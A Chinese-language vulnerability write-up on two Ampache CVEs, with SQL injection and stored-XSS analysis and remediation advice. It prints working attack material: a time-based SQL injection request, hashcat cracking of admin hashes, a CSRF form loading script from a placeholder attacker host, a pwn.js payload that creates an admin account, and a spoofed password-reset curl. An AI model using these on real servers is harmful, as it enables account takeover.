Ampache<=3.9.1下的两个CVE
字数 857 2025-08-27 12:33:49
Ampache <=3.9.1 安全漏洞分析与利用教学文档
概述
Ampache 是一个开源的 Web 音视频管理平台,在版本 3.9.1 及以下存在两个高危漏洞:
- CVE-2019-12385 - SQL 注入漏洞
- CVE-2019-12386 - 存储型 XSS 漏洞
1. SQL 注入漏洞 (CVE-2019-12385)
漏洞分析
漏洞位于 lib/class/dba.class.php 中的 escape 方法:
public static function escape($var) {
$dbh = self::dbh();
if (!$dbh) {
debug_event('Dba', 'Wrong dbh.', 1);
exit;
}
$var = $dbh->quote($var);
// This is slightly less ugly than it was, but still ugly
return substr($var, 1, -1);
}
该方法虽然使用了 PDO 的 quote 方法进行转义,但移除了字符串两端的引号,使得攻击者可以构造不带引号的 SQL 注入。
漏洞利用点
在 lib/class/search.class.php 中:
case 'last_play':
$userid= $GLOBALS['user']->id;
$where[]="`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - ($input * 86400))";
$join['object_count'] = true;
break;
$input 变量通过 Dba::escape($USER_INPUT) 处理,但由于上述问题,仍可注入。
漏洞验证
发送以下请求可验证漏洞(页面会停滞5秒):
POST /search.php?type=song HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ampache=[session_id]
limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search
利用漏洞获取管理员权限
密码哈希生成问题
-
哈希不加盐:
public function update_password($new_password) { $new_password = hash('sha256', $new_password); $new_password = Dba::escape($new_password); $sql = "UPDATE `user` SET `password` = ? WHERE `id` = ?"; $db_results = Dba::write($sql, array($new_password, $this->id)); // ... } -
弱密码生成算法:
function generate_password($length) { $vowels = 'aAeEuUyY12345'; $consonants = 'bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789'; $password = ''; $alt = time() % 2; for ($i = 0; $i < $length; $i++) { if ($alt == 1) { $password .= $consonants[(rand(0, strlen($consonants) - 1))]; $alt = 0; } else { $password .= $vowels[(rand(0, strlen($vowels) - 1))]; $alt = 1; } } return $password; }
攻击步骤
- 通过 SQL 注入获取管理员密码哈希
- 使用 hashcat 破解密码:
hashcat -m 1400 -w 4 -a 3 ampache_hash_list.txt -1 aAeEuUyY12345 -2 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O
2. 存储型 XSS 漏洞 (CVE-2019-12386)
漏洞分析
localplay.php 在处理 name 字段时未正确转义 HTML 特殊字符:
<script>alert(1)</script>
CSRF 漏洞
应用缺乏 CSRF 防护,可与 XSS 组合利用。
组合利用攻击
- 创建恶意 HTML 页面:
<html>
<body>
<form action="https://[AMPACHE]/localplay.php?action=add_instance" method="POST">
<input type="hidden" name="name" value="<script src=https://[ATTACKER]/pwn.js></script>" />
<input type="hidden" name="host" value="foobar" />
<input type="hidden" name="port" value="6666" />
<input type="hidden" name="password" value="foobar" />
<input type="submit" value="Pwn!" />
</form>
</body>
</html>
- 创建恶意 JavaScript (pwn.js):
function pwned() {
var ifr = document.getElementById("pwn");
var target = ifr.contentDocument.getElementsByTagName("form")[2];
target.username.value = "NewAdmin";
target.email.value = "myemail@tarlogic.foobar";
target.password_1.value = "admin";
target.password_2.value = "admin";
target.access.value = "100";
target.submit();
}
var iframe = document.createElement('iframe');
iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user");
iframe.setAttribute("id", "pwn");
document.body.appendChild(iframe);
setTimeout(pwned, 3000);
- 诱使管理员访问恶意页面,将自动创建新管理员账户。
3. 密码重置漏洞
漏洞分析
lostpassword.php 中:
$email = scrub_in($_POST['email']);
$current_ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$result = send_newpassword($email, $current_ip);
攻击者可伪造 X-Forwarded-For 头。
漏洞利用
curl https://[AMPACHE]/lostpassword.php --data "email=anyuser@tarlogic.foobar&action=send" --header "X-Forwarded-For: WE CAN MANIPULATE THIS TO LURE YOU"
修复建议
- 升级到最新版本
- 对
Dba::escape方法进行修复,保留引号 - 实现 CSRF 防护机制
- 对所有输出进行 HTML 编码
- 改进密码哈希机制,添加盐值
- 改进密码生成算法
- 对密码重置功能进行 IP 验证限制